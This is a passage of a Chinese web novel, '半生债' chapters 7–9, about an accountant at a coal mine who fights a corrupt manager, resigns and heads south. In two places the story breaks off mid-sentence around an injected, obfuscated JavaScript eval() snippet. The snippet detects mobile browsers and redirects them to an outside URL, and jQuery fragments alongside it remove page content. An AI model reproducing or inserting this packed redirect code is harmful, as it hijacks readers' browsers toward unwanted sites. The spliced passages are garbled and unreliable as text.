井口绞车吱呀作响，铁笼罐笼里挤了八个矿工，矿灯挂在安全帽上，昏光在狭小空间里晃荡。罐笼缓缓下沉，潮湿的风裹着硫磺与煤尘味扑面而来，呛得王霖直咳嗽。 矿工们都低着头，没人说话，只有绞车摩擦声和沉重呼吸声，像奔赴一场未知劫难。 抵达井下巷道，王霖才懂“人间炼狱”的分量。巷道窄得仅容两人并行，岩壁渗着水珠，脚下石板滑腻无比。头顶电缆线裸露，外皮斑驳，时不时冒几点火星。 最深处的掌子面闷热难耐，温度足有三十多度。矿工们赤着上身，古铜色皮肤沾满煤尘，只剩一双双布满红血丝的眼睛。 “哐！哐！哐！”钢钎撞岩石的声响震耳欲聋。一个年轻矿工脚下一滑，胳膊被碎石划出血口，只抓把煤渣按在伤口上，咬着牙爬起来继续干。 “别愣着！”老张扯了扯他的胳膊，“摔断手脚都是常事，少干一小时就少一小时工钱。” 掌子面角落堆着发霉馒头和一壶浑水，这是矿工们的午饭。老张说，井下缺水，每人每天只分半壶，既要喝又要擦脸。 不少矿工手指缠着破旧布条，血与煤尘浸透了布料，却没人舍得换——矿上不发劳保用品，布条都是从自己衣服上撕的。 “王会计？您怎么来了？”沙哑的声音响起。王霖回头，是刘铁柱的同乡老赵，满脸煤尘，额头上的汗珠冲开两道黑痕。 “刘哥出事的地方就在前面。”老赵指了指岔道，“那天掌子面渗水，孙宝非要我们加班赶进度，结果井壁塌了，落石砸中了刘哥的腿。” 王霖跟着走到岔道，岩壁上还留着塌方痕迹，几块巨石横在路中。“刘哥本可以跑的，”老赵声音哽咽，“他折回去救新来的小娃，自己被砸中了。孙宝只派了赤脚医生来，开点止痛药就不管了。” 话音刚落，巷道突然剧烈震动，岩壁碎石簌簌往下掉。矿工们瞬间乱了阵脚。 “快撤！掌子面要塌了！”老张嘶吼着，众人扔下工具往罐笼狂奔。王霖被人群推着跑，看见一个老矿工绊倒，后面的人险些踩着他——生死面前，这是底层求生的本能。 回到地面，王霖浑身湿透沾满煤尘，像从泥里滚出来。他刚摘下安全帽，就看见刘铁柱的媳妇抱着孩子，蹲在井口屋檐下，浑身湿透，头发贴在脸上。 孩子裹在塑料布里哭得上气不接下气，女人却死死盯着井口，眼里满是期盼与绝望。 “嫂子。”王霖走过去，声音沙哑。女人抬头，眼里的光瞬间熄灭：“王会计，你看见铁柱了吗？医院说再不交医药费，就停药了。”她攥着衣角，哭腔浓重，“我只有二十块，不够啊。” 王霖心被重锤砸了一下。他掏出仅剩的一百五十块塞过去：“嫂子，先交医药费，刘师傅的工资，我一定要回来。” 女人愣了愣，眼泪混着雨水落下：“这怎么好意思？你也不容易。” “刘师傅是为救人受伤，矿上该负责。”王霖话音刚落，就看见孙宝晃悠走来，穿干爽夹克，头发梳得油亮，显然刚从镇里回来。 看见女人，孙宝皱紧眉头，语气刻薄：“你怎么又来了？刘铁柱自己不小心，矿上不负责！” “孙矿长！”王霖挡在女人身前，“刘师傅是工伤，矿上该发工资、担医药费。是你逼矿工冒雨加班，才导致塌方！” “哟，王会计还下井了？”孙宝嗤笑，满是不屑，“我就是规矩！他死了，矿上给五百块，也够打发全家了！” 这句话彻底激怒王霖。他攥紧拳头挥过去，孙宝没防备，摔在泥水里。“你敢打我？”孙宝又惊又怒，爬起来要还手，却被围过来的矿工拦住。 “孙矿长，刘哥的医药费和工资必须给！不然我们就罢工！”老赵沉声开口，其他矿工纷纷附和，声音在雨幕里格外有力。 孙宝看着围拢的矿工，脸色青一阵白一阵。他知道矿工罢工矿上就停摆了，胡总那边没法交代。只能恶瞪王霖一眼，狼狈地走了。 女人对着众人深深鞠躬，矿工们纷纷摆手。老赵叹气：“要不是王会计，我们也不敢跟孙宝硬刚。” 下午雨停日出，洗干净了矿区的泥水，却洗不掉井下的阴霾。王霖在财务室对账，老周坐在旁边，欲言又止：“你太冲动了，孙宝肯定会报复。” “我下了井，实在忍不下去。”王霖拨着算盘，语气坚定，“矿工们拿命换钱，孙宝却挥霍血汗，这太不公平。” 老周沉默良久：“你是好人，但这矿上的事，不是你能改变的。十五年了，我见过太多这样的人和事，胳膊拧不过大腿。” 王霖停下手里的活，望着窗外。矿工们在整理工具，小李检修矿车，老赵给受伤工友换药，每个人都在为活下去努力。他心里的火，越烧越旺。 傍晚，胡总突然来了。他没找孙宝，直接走进财务室，盯着王霖：“你今天下井了？” 王霖点头，不知他用意。 “孙宝的事我听说了。”胡总点燃烟，眼神锐利，“这矿再被他折腾，迟早要废。我父亲开矿时说，矿工是矿的根，根烂了矿就完了。” 他吐出烟圈：“我知道你有良知，想请你盯着孙宝，收集他贪腐的证据。我要把他赶走，还矿工们公道。” 王霖心猛地一跳，看着胡总，又想起井下的景象。他握紧拳头，缓缓点头：“好。” “放心，有我在，孙宝动不了你。”胡总拍了拍他的肩膀，转身离去。 夜幕降临，矿区恢复寂静，只有矿洞口的长明灯摇曳如豆。王霖披衣走到废弃矿洞口，手电光柱照进黑暗深处，仿佛又看见矿工们忙碌的身影。 他想起地火传说，那些藏在地下的火焰千年不灭，等待喷涌时刻。这矿下，藏着矿工的希望，也藏着他心里的火。 回到房间，他拿出张莉的信，信纸带着雪花膏清香。提笔回信：“莉，再等我一段时间。这里有人需要帮助，等我处理好一切，就回去找你，住那个有独立厨房的小平房。” 窗外矿灯与星光交辉，王霖握紧信纸，眼神坚定。心里的地火已然点燃，再也不会熄灭。 次日一早，王霖刚到财务室，就发现门锁被撬了。账本散落一地，抽屉被翻得乱七八糟，最底层的票据柜敞开着——里面放着他初步整理的孙宝报销疑点清单。 “肯定是孙宝干的！”小李端着热水进来，见状咬牙，“他昨晚鬼鬼祟祟在财务室门口晃悠，我当时就觉得不对劲。” 王霖蹲下身捡账本，指尖抚过被撕扯的纸页，眼神冷了下来。孙宝这是狗急跳墙，想销毁证据。 “别慌。”老周走进来，手里拿着一叠复印件，“我早料到他会来这手，把你整理的清单都复印了一份，锁在我那儿了。” 王霖抬头，接过复印件，心里一暖。原来老周嘴上说着“胳膊拧不过大腿”，暗地里早已站在了他这边。 “孙宝不会善罢甘休。”老周坐在椅子上，指尖敲着桌面，“他肯定会找借口刁难你，甚至栽赃陷害。” “我不怕。”王霖把复印件收好，“有证据在，有胡总撑腰，还有矿工们支持，他翻不了天。” 果然，中午时分，孙宝就带着两个地痞闯进了财务室，手里拿着一张皱巴巴的单据。 “王霖！你竟敢私吞矿上的设备款！”孙宝把单据拍在桌上，指着上面的签字，“这张八千块的设备报销单，是你签的字，钱却没到账！” 王霖拿起单据一看，嘴角勾起冷笑。单据上的签字模仿得有几分相似，但字迹的力道和笔画走向，根本不是他的风格。这是孙宝故意伪造的。 “孙矿长，这字不是我签的。”王霖把单据推回去，“你可以找专人鉴定，另外，设备采购需要合同和验收凭证，你拿得出来吗？” 孙宝脸色一变，随即狞笑：“鉴定？这里我说了算！你要是不承认，我就把你绑去分部，说你贪污公款！” 地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196358|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痞上前一步，就要抓王霖。这时，老赵带着十几个矿工涌了进来，手里握着钢钎和锄头，堵住了门口。 “孙宝！你少栽赃陷害王会计！”老赵眼神凌厉，“我们都知道，你才是那个贪赃枉法的人！” 矿工们纷纷附和，财务室里挤满了人，孙宝带来的地痞见状，往后缩了缩，不敢再动。 孙宝看着眼前的阵仗，知道今天讨不到好。他狠狠瞪了王霖一眼：“算你狠！我们走着瞧！”说完，带着地痞灰溜溜地逃走了。 矿工们散去后，小李凑过来，小声说：“王会计，我刚才看见孙宝打电话，好像在跟胡总的对头联系，说要搞垮你和胡总。” 王霖心里一凛。他没想到孙宝背后还有靠山，这场较量，比他想象的更复杂。 他立刻给胡总打了电话，把孙宝伪造单据、勾结外人的事说了。胡总在电话那头沉默片刻，语气坚定：“你放心，我来处理他背后的人。你继续收集证据，尽快把孙宝的罪证坐实。” 挂了电话，王霖走到窗边。夕阳洒在矿区，给红砖房镀上了一层金边。矿工们下班了，三三两两地走着，脸上带着疲惫，却比往日多了几分底气。 他知道，孙宝的反扑只是开始，接下来还会有更多风浪。但他不再畏惧，心里的地火越烧越旺，支撑着他直面一切。 夜里，王霖在财务室加班，把老周给的复印件和新找到的假发票整理在一起，做成了一本完整的证据册。 小李端来一碗热汤，放在桌上：“王会计，快喝点汤暖身子。我打听好了，孙宝藏假账的地方，除了办公室，还有镇里租房的衣柜里。” 王霖接过汤，暖意顺着喉咙滑进胃里。他看着小李，郑重道谢。从最初的沉默寡言，到如今主动提供线索，小李的转变，也是矿工们态度的缩影。 “明天我去镇里。”王霖放下碗，“把他藏在租房里的假账找出来，彻底扳倒他。” “我陪你去。”小李立刻说，“我对镇里的路熟，万一遇到麻烦，也能帮上忙。” 次日一早，王霖和小李悄悄赶往镇里。孙宝的租房在一条偏僻的小巷里，房门虚掩着，显然里面没人。 两人推门进去，房间里一片狼藉，衣物散落一地。小李直奔衣柜，打开后，果然在底层找到了一个铁盒，里面装着厚厚的假账和往来收据。 “找到了！”小李兴奋地把铁盒递给王霖。 王霖刚接过铁盒，就听见门口传来脚步声。孙宝带着几个地痞堵在了门口，脸上满是阴狠：“王霖，这下你插翅难飞了！” “孙宝，你以为这样就能拦住我们？”王霖把铁盒揣进怀里，“证据我已经拿到了，就算你把我们扣下，也有人会把证据交给胡总。” “哼，我可没打算留活口。”孙宝一挥手，地痞们就冲了上来。 小李抄起旁边的凳子，挡在王霖身前。王霖也握紧拳头，与地痞们扭打在一起。小李虽木讷，却有一身力气，几下就放倒了一个地痞。王霖靠着灵活的身形躲闪，伺机反击。 就在这时，胡总的车停在了巷口，几个保镖冲了进来，很快就制服了孙宝和地痞。 胡总走进来，看着被制服的孙宝，眼神冰冷：“孙宝，你贪赃枉法，欺压矿工，勾结外人，今天就是你的死期。” 孙宝瘫倒在地，面如死灰，再也没了往日的嚣张。 回到矿区，胡总立刻把孙宝的罪证交给了分部纪检处。铁证如山，孙宝被正式撤职查办，等待他的，将是法律的制裁。 矿工们得知消息后，爆发出雷鸣般的掌声。山坳里的空气，仿佛都变得清新了许多。 胡总任命老周为矿长，王霖继续担任主管会计，小李负责井下调度。矿上的规矩改了，补发了所有克扣的工资，添置了新的劳保用品和井下设备，食堂的饭菜也越来越可口。 王霖站在井口，看着矿工们穿着新工装，带着新矿灯下井，脸上露出了久违的笑容。井下的阴霾渐渐散去，取而代之的，是希望的曙光。 夜里，他再次给张莉写信，字迹里满是轻快：“莉，这里的事都处理好了。矿工们终于能踏实干活了，我也可以回去找你了。等我，我们马上就能住进那个有独立厨房的小平房。” 窗外的矿灯依旧亮着，如豆的灯火与天上的星光交融，照亮了深山，也照亮了王霖前行的路。他心里的地火，虽已烧尽腐朽，却并未熄灭，而是化作了温暖的光，守护着这片曾经黑暗的矿区，守护着他与张莉的未来。 （第七章·地火完字数 6892） 18. 《半生债》中卷 第八章·破晓时分 《半生债》中卷第八章·破晓时分 立冬的寒雾裹着矿区时，连矿洞口的长明灯都冻得发蔫，昏沉的光被雾絮揉碎，落在结霜的红砖墙上，只剩一片模糊的白。 “哐哐哐”的砸门声撞碎清晨的寂静，王霖刚端起搪瓷缸要喝热水，门就被小李撞开。小伙子棉鞋沾着半融的霜雪，裤脚冻得发硬，嘴唇哆嗦得不成调，通红的眼睛里浸着血似的：“王会计，刘哥……刘哥没熬过昨夜，腿伤感染烧得太狠，断气了。” 搪瓷缸“哐当”砸在青砖地上，滚烫的热水溅湿裤脚，王霖却像被寒雾冻透了骨头，半点知觉也无。脑海里翻涌着碎片——雨夜里女人抱着孩子蹲在屋檐下的单薄身影，井下岔道上狰狞的塌方岩壁，还有刘铁柱藏在木箱底那本卷边的安全笔记，纸页上密密麻麻写着“掌子面渗水要停工”“新工友要盯紧安全帽”，字里行间全是想活下去的执念，最终却栽在了“没钱治病”五个字上。 “孙宝怎么说？”他的声音干涩得像被井下煤尘磨了千百遍，每一个字都透着疼。 小李攥紧拳头，指甲深深嵌进掌心，指节泛白：“孙矿长刚听说，说按老规矩给五百块抚恤金，还……还说刘哥是自己不注意护理，跟矿上没关系。” 五百块。王霖喉间发紧，想起孙宝脖子上那根粗如狗链的金链子，想起“夜来香”饭馆里他一晚上就挥霍掉的酒钱，想起矿工们在井下啃着发霉馒头、用黑煤渣按压伤口的模样。一条在暗无天日里拿命换矿的性命，竟抵不上孙宝半顿酒的开销。他没再多言，转身往孙宝办公室走，脚步沉得像绑了块浸了水的煤块。 孙宝刚换上绸缎棉袄，领口绣着暗纹，正对着铜镜慢条斯理系领带，发胶把头发梳得油亮，连一丝碎发都不肯乱。见王霖进来，他脸上竟没了往日的戾气，反倒堆起几分客套的笑，语气轻飘：“小王来了？刘铁柱的事我晓得了，五百块抚恤金让财务备着了，也算矿上尽了心意。” “心意？”王霖盯着他领口的暗纹，声音冷得像井壁的冰，“孙矿长，刘铁柱是工伤，医药费矿上一分没掏，如今人没了，就给五百？这不是心意，是草菅人命！” 孙宝脸上的笑淡了些，却依旧没动怒，慢悠悠转过身，指尖敲了敲办公桌：“小王，别上火。下井干活，就等于签了生死状，这规矩你该懂。五百块在乡下够一家人过大半年了，不算亏他。”他递过一支带过滤嘴的烟，语气竟掺了几分“劝诫”，“这事就这么定了，别揪着不放。往后好好做账，好处少不了你的。” 王霖没接烟，指尖冰凉。孙宝这态度太反常了——前日被他当众一拳打翻在泥里，又被矿工们逼着答应垫付医药费，此刻竟如此“通情达理”，反倒像裹着糖衣的毒药，透着股不怀好意的诡异。他刚要再争，孙宝却摆了摆手，眼神里闪过一丝不耐：“我还有事，你先回去。刘铁柱家属那边，我亲自对接。” 走出办公室，王霖撞见老周。老人眼神凝重，朝他飞快使了个眼色，拽着他往财务室走，关上门还不忘抵上木栓，才压低声音：“你别跟孙宝硬刚，他这是没憋好屁。我刚才看见他跟二混子在墙角低语，那小子是他远房侄子，在矿上偷鸡摸狗惯了，专替他干脏事。” 王霖心里一沉。二混子那张吊儿郎当的脸立刻浮现在眼前——那人在井下从不干正事，靠着孙宝的关系混考勤，还总爱抢新来矿工的干粮、克扣他们的劳保，是矿上人人敢怒不敢言的恶瘤。孙宝不直接找他麻烦，是想借二混子的手，逼他“知难而退”。 接下来几日，怪事果然接连找上门。王霖锁在办公桌抽屉里的账本被翻得狼藉，关键页码的报销票据少了两张，都是孙宝虚报餐饮费的凭证；夜里回宿舍，总听见身后有细碎的脚步声，转身却只剩空荡荡的巷道，只有风卷着煤尘掠过墙根的声响；去食堂打饭，大师傅故意给他少盛半碗糊糊，还阴阳怪气地撇着嘴：“有些人啊，快吃不上这口饭了，省着点吧。” 小李看在眼里急在心里，趁没人的时候偷偷塞给王霖一根磨尖的钢筋棍。钢筋棍被磨得发亮，棍尖锋利，握在手里沉甸甸的。“王会计，是二混子干的，”小李声音压得极低，眼神里满是担忧，“他在宿舍放话，要让你在矿上待不下去，还说要给你点颜色看看。您夜里出门带着，防备着点。” 王霖摩挲着钢筋棍磨尖的棱角，冰凉的触感顺着指尖蔓延全身，心里的火气与酸涩渐渐沉为一股稳劲。他不过是想为矿工们争一句公道，却要被人如此算计。可他不能退——刘铁柱的事还没个说法，孙宝贪腐的证据才收集了冰山一角，他若是走了，矿工们就真的叫天不应、叫地不灵了。更重要的是，自小跟着姑表哥练的大洪拳与棍术，虽多年未施展，招式却早已刻进骨血，今日倒成了护己的底气。 变故发生在立冬后第三天傍晚。王霖受胡总之托，去镇里取一份与分部对接的对账函，返程时天色已完全黑透，盘山公路两旁的树林黑黢黢的，连个路灯都没有，只有手电筒的光柱在路面上晃荡，映着满地碎石。 走到离矿区两里地的山坳时，四道黑影突然从路边树林里窜出，手里握着木棍和铁链，“哐当”一声拦在路中间。铁链拖地的声响在寂静的山坳里格外刺耳，透着凶气。 为首的正是二混子，叼着烟，烟蒂在黑暗里明灭，身后跟着三个流里流气的地痞，头发染得五颜六色，一看就是镇上的闲散人员。“王会计，跑得挺欢啊。”二混子吐了个烟圈，烟雾裹着恶气扑面而来，“孙矿长让我给你带句话，识相点就卷铺盖滚蛋，不然别怪我们不客气。” 王霖握紧钢筋棍，沉腰扎马，摆出大洪拳的起手式，原本紧绷的神情反倒松了几分，眼底没了半分慌乱，只剩冷厉：“孙宝有种自己来，派你们这些地痞流氓，也配替他传话？”话音落时，他手腕轻抖，钢筋棍在身前划出一道凌厉弧线，破空声尖锐，逼得身前两个地痞下意识往后缩了缩。 “嘿，还敢摆架子！”二混子恼羞成怒，一挥手，三个地痞立刻呈三角之势扑来。木棍带着风声砸向王霖的头、肩、腿，招招狠辣，显然是想下死手。王霖不慌不忙，左脚侧移半步，避开正面砸来的木棍，同时右手握棍横挡，“铛”的一声架住侧面攻击，左臂顺势使出“黑虎偷心”，狠狠撞在左侧地痞的胸口。那地痞惨叫一声，踉跄着后退几步，摔在地上捂着胸口哼哼，半天爬不起来。 剩下两个地痞见状愈发疯狂，挥舞着木棍猛打。王霖脚尖点地，身形灵活得像山猫，钢筋棍在他手中如同臂膀延伸，时而横劈竖扫，时而直戳点刺，每一下都精准打在对方手腕、膝盖等要害处。他练的棍术本就讲究快、准、稳，配合大洪拳的刚劲步法，转瞬间就拆解了所有攻势。一个地痞趁他侧身之际从身后偷袭，王霖察觉风声，猛地旋身，钢筋棍反手一撩，重重砸在那人后腰，对方踉跄着扑在岩壁上，动弹不得。 二混子见三个手下转瞬被放倒，脸色骤变，却仍强装凶狠，挥舞着铁链冲了上来。铁链带着呼啸声甩向王霖脖颈，势大力沉。王霖眼神一凝，不退反进，俯身避开铁链，同时钢筋棍贴着地面扫出，正中二混子脚踝。二混子重心不稳，踉跄着差点摔倒，刚稳住身形，就见王霖已欺至身前，钢筋棍直指他咽喉，棍尖的寒意逼得他浑身发僵，连呼吸都不敢大声。 “孙宝让你来，就这点本事？”王霖语气冰冷，手腕微用力，钢筋棍又往前递了半寸，“回去告诉孙宝，想让我走，光明正大打招呼就行，玩这些阴招，还不够格。”二混子吓得脸色惨白，嘴唇哆嗦着，连一句狠话都挤不出来。 就在这时，山坳那头突然传来一阵吆喝声，十几道手电光柱穿透黑暗，十几个村民扛着锄头、扁担冲了过来，为首的正是李村村长——上次带着村民推翻孙宝吉普车的那位。“住手！光天化日之下，竟敢在这儿打人！”村长大喝一声，声音震得树林里的夜鸟扑棱棱飞起。 二混子一行人顿时慌了神。村长指着他鼻子骂：“你个混小子，孙宝给了你多少好处，让你干这种缺德事？刘铁柱的账我们还没跟你们算呢！”原来，村民们早恨透了孙宝和二混子——孙宝拖欠青苗补偿款不说，还纵容二混子偷村里的鸡、抢田埂上的菜，村民们早想找机会教训他们。方才有人路过山坳，看见二混子等人围堵王霖，立刻跑回村喊了人。 村长等人冲过来，见二混子被钢筋棍指着咽喉动弹不得，先是一愣，随即纷纷叫好。二混子趁王霖分神的瞬间，猛地推开钢筋棍，连滚带爬扶起三个手下，撂下一句“你们等着”，就带着人狼狈钻进树林，连落在地上的木棍都忘了捡，只留下一路慌乱的脚步声。 村长拍着王霖的肩膀，满脸赞叹：“王会计可以啊！没想到你还会这功夫，真是深藏不露！孙宝这狗东西派来的杂碎，就该这么收拾！” 王霖收起钢筋棍，拍了拍身上的尘土，胳膊上被铁链扫到一块，粗布衣服磨破，皮肉擦出渗血的红痕，却无大碍。他笑了笑，语气平淡：“小时候跟着姑表哥学过大洪拳和棍术，多少年没练了，今日倒派上了用场。”心里却五味杂陈——这一身功夫本是用来强身健体、护己周全的，竟在这深山里，用来对付这些地痞流氓。他看着围在身边的村民，心里又暖又定，这些底层人或许活得艰难，或许习惯逆来顺受，但在是非面前，却比孙宝之流清醒得多、正直得多。 回到矿区，小李和老周早已在宿舍等他，手里攥着晒干的草药和粗布绷带。老周看着他胳膊上的擦伤，听小李讲完山坳里的事，不由得啧啧称奇：“没想到你还有这能耐，倒是我小看你了。”赞叹过后，老人眉头又拧成一团，语气凝重，“可你也别大意，孙宝心眼比针还小，这次吃了亏，下次只会想更阴的招数对付你。他背后有人撑着，你功夫再好，也架不住暗箭伤人，这矿上的水，比你想象的还深。” 王霖沉默了。老周的话像重锤砸在他心上。方才动手虽酣畅，却也让他看清了处境——孙宝心狠手辣且不择手段，他一身功夫能护自己一时，却护不了矿工们一世，更挡不住孙宝背后的势力与算计。孙宝的贪腐证据只收集了零星几点，刘铁柱的抚恤金也没能争取到更多，再耗下去，不仅自己可能遭致致命暗算，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196359|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会连累小李、老周这些真心待他的人，甚至牵连出手相助的村民。 夜里，王霖坐在宿舍的木板床上，窗外的矿灯如豆，在寒夜里摇曳，像极了井下矿工们微弱到随时会熄灭的希望。他想起刘铁柱媳妇那双绝望的眼睛，想起小李递来钢筋棍时的坚定，想起村民们扛着锄头冲过来的身影。他想守住这份公道，可终究能力有限。 天快亮时，寒雾渐淡，东方泛起一丝鱼肚白，王霖做出了决定——他要辞职。不是妥协，而是另一种坚守。他走了，或许无法立刻扳倒孙宝，但可以带着收集到的部分证据去找胡总，去找那些尚存良知的人。就算不能立刻改变什么，也要为矿工们埋下一颗希望的种子。更重要的是，他要活下去，才有机会回来讨回所有公道。 第二天一早，王霖铺开信纸写辞职报告。字迹工整有力，语气平静，只寥寥十几字：“因个人原因，申请辞去现职，望批准。”他拿着报告去找孙宝时，孙宝正在喝茶，青瓷茶杯里飘着龙井的香气，脸上还带着二混子败北后的阴鸷，见了报告先是一愣，随即露出一丝了然又不甘的笑，假惺惺地挽留：“小王，何必呢？二混子不懂事冒犯了你，我已经教训过他了。体制内的铁饭碗，丢了可惜，再考虑考虑。”他虽恨王霖伤了自己的人，却也忌惮那身功夫，更怕王霖狗急跳墙捅出乱子，不敢强行留难。 “不必了。”王霖把报告放在桌上，目光锐利地看着他，“孙矿长，我走之后，希望你能善待矿工们。他们拿命换矿，不该被如此苛待。” 孙宝嗤笑一声，拿起报告随手盖了章，扔回桌上：“行，我批了。交接手续今天办好，宿舍下午就得腾出来。我倒要看看，你离开这里，能混出什么名堂。”他顿了顿，又添了句，“账本上的那些事，我不跟你计较，好聚好散。”这话里的威胁再明显不过——敢乱说话，就让你吃不了兜着走。 王霖没接话，转身就走。他清楚孙宝的心思，不过是怕他临走前发难，才故意放他一马。 交接手续办得异常顺利。老周帮他整理账本时，趁人不注意，把一叠复印好的贪腐票据塞进他怀里，票据边缘还带着体温：“拿着吧，或许以后用得上。记住，别丢了良心，也别拿自己的命开玩笑。”老人顿了顿，又补充道，“胡总那边，我会悄悄递话，他心里有数。” 小李帮他搬行李，眼圈红得像兔子，声音哽咽：“王会计，你真要走吗？你走了，就没人帮我们说话了。” 王霖拍了拍他的肩，把那根钢筋棍还给了他，棍身还留着他的体温：“好好照顾自己，下井一定要盯紧安全，别学孙宝硬赶进度。这棍子你拿着，二混子再欺负人，就跟他硬刚，矿工们团结起来，他不敢太放肆。孙宝的好日子长不了，总有一天，会有人来替我们讨回公道。”他从口袋里掏出仅剩的几十块钱，塞给小李，“买点白面馒头吃，别总啃咸菜疙瘩。” 中午，村民们也赶来送他。村长拎着一筐温热的鸡蛋，还有几个刚蒸好的白面馒头，硬塞进他手里：“王会计，这是我们的一点心意。到了外面好好过日子，要是孙宝再敢欺负矿工，我们就去找他算账！” 下午三点，破旧的中巴车停在矿区门口，排气管冒着黑烟，车身锈迹斑斑。王霖最后看了一眼这个待了几个月的地方——红砖房斑驳破旧，矿洞口的长明灯依旧昏沉，矿工们扛着工具往井下走，背影在夕阳里拉得很长。这里有黑暗，有不公，有绝望，但也有温暖，有坚守，有不屈的灵魂。 老周、小李和几个村民站在路边挥手，直到中巴车转过山弯，再也看不见矿区的影子。王霖靠在车窗上，从怀里掏出那些票据，紧紧攥在手里，指腹抚过粗糙的纸页，心里的火依旧燃着。他没有输，只是暂时离开了战场。 车窗外，深秋的群山被夕阳染成金红，寒风吹散了雾霭，露出澄澈的天空。王霖摸出贴身藏着的张莉的信，信纸带着淡淡的雪花膏香味，在满是煤尘与汽油味的车厢里格外清新。他想起那个有独立厨房的小平房，想起父亲临终前说的“做人要挺直腰杆，欠人的债，总要还的”。他辞去了公职，丢了铁饭碗，却捡回了良心与尊严。 他的债还没还清——对刘铁柱的债，对矿工们的债，对张莉的债。但他不再迷茫，不再挣扎。他要带着这些票据，带着心里的那团火，去南方找胡总，去找能改变这一切的力量。 中巴车在盘山公路上颠簸前行，朝着山下的光亮处驶去。破晓的微光穿透车窗，洒在王霖的脸上，温暖而有力量。他不知道前路会遇到什么，却清楚孙宝背后的势力绝不会善罢甘休，矿上的矿工们仍在水深火热中，而胡总的态度，也藏着不为人知的考量。 车过半山腰时，王霖无意间瞥见后视镜里，一辆黑色吉普车正远远跟着，车牌被遮挡，只能看见模糊的轮廓，像一头蛰伏的野兽，追着光亮而来。他握紧了怀里的票据，眼底闪过一丝冷厉。 真正的较量，从来都不在矿区的山坳里。而他与孙宝、与那股黑暗势力的债，才刚刚开始清算。 （第八章·破晓时分完字数 6218） 19. 《半生债》中卷 第九章·南方见识 《半生债》中卷第九章·南方见识 上 一、栖霞山上的约定 飞机冲破云层的那一刻，王霖看见了另一片天空下的中国。 从东海飞往广州的航班，在午后的阳光中，平稳飞行，王霖紧攥着扶手，指节因用力而发白。这是他人生中第一次坐飞机，失重感带来的心悸尚未平复，但更大的不安，来自即将踏上的这片土地——那里有传说中遍地黄金的机遇，也有他未曾想象过的生存图景。 邻座的柳长青合上德文机械手册，推了推金丝眼镜：“放松点，就当坐长途大巴。等你看到珠江三角洲，就会忘记害怕。” 王霖勉强笑了笑。他的佳能90D相机放在脚边，这是张莉花了一万两千八百元买的专业单反，配了两个镜头。辞职后的这些天，他整天倒弄研究，终于拍出了让自己满意的照片，从此迷上了户外摄影。但他从没想过，这部相机会这么快就跟着他飞向千里之外的南方。 窗外的云海翻腾如棉絮，王霖的思绪回到了半个月前的那次相遇—— 那是他辞去公职后的第三天，浑身轻松的他带着新相机登上栖霞山。深秋的山色斑斓如画，枫红、银杏黄、松柏绿在薄雾中层层晕染。他沿着石阶往上走，走到半山腰观景台时，看见一个中年人正架着三脚架拍摄云海。 那人一米八多的个头，戴着金丝眼镜，文质彬彬，身体有些发福但不臃肿。他用的那台相机，王霖后来知道是索尼旗舰机型，价值十一万多元，一个长镜头就要三万多。 “佳能90D？”中年人主动搭话，声音温和醇厚，“入门级里的好东西。” 王霖有些吃惊地点点头。两人就站在观景台聊开了——从相机参数聊到摄影技巧，从户外旅行聊到人生际遇。谈话中王霖得知，这人叫柳长青，南开大学计算机系前副教授，下海经商三年，现在是深圳森宝陶瓷精密机械有限公司北方销售经理。 “最近想回东海自己干，创立一个属于自己的企业。”柳长青望着远方的山峦说，“正在考察期间。朋友邀约，才出来旅行散心，没想到遇见了你。” 山风吹过，松涛阵阵。柳长青忽然转向王霖：“要不要跟我去南方看看？机票食宿我包。”他顿了顿，语气诚恳，“你可以先跟着我干，无需投资，积累些资本，然后我们再一起做自己的实业公司。” 他继续描绘着蓝图：“你是财经方面的人才，我是销售方面的。一个主内一个主外，一定会有所作为。” 王霖看着这个刚刚认识的中年人，想起自己刚交的辞呈，想起财务室那堆烂账，想起张莉递过相机时说的“多拍点好看的回来”。他沉默了很久，久到柳长青以为他要拒绝时，终于开口： “好。” 那一声“好”轻飘飘的，落在他心里却重如千钧。 二、南方初印象：速度与汗水 飞机降落在广州白云机场时，南方的热浪像一床湿棉被迎面扑来。十一月的北方已见霜色，这里却还是盛夏的闷热。空气里飘着复杂的气味——机油、茉莉花、汗水和某种甜腻的香水。 接机的司机小吴精干利落，接过行李时动作娴熟如军人：“柳总，直接去厂里？” “走广深高速。”柳长青摇下车窗，“让王会看看什么叫南方速度。” 车驶上高速，王霖看见了那个传说中的“世界工厂”。 道路两侧厂房绵延不绝，招牌层层叠叠：电子、五金、塑胶、服装。巨大的广告牌上，“时间就是金钱，效率就是生命”的标语在阳光下反射着刺眼的光。更远处，新的工地正在施工，塔吊的巨臂在灰蓝色天幕下缓缓旋转，打桩机发出沉闷的轰鸣。 但更震撼的是人。 公交站台挤成沙丁鱼罐头，年轻人背着双肩包跑过街头，汗水浸透了衬衫后背。他们的眼神里有种饥渴的光——不是对食物，是对机会。红灯时，一个女孩蹲在路边呕吐，吐完抹抹嘴，小跑着冲向对面的写字楼。 “电子厂质检员，刚下夜班。”小吴从后视镜看了一眼，“赶着去做兼职，快餐店端盘子，一小时八块。” 王霖举起相机。取景框里，女孩的背影瘦得像片纸，融进街角汹涌的人潮。他连续按下快门，第一次真切地感受到什么叫“打工潮”。 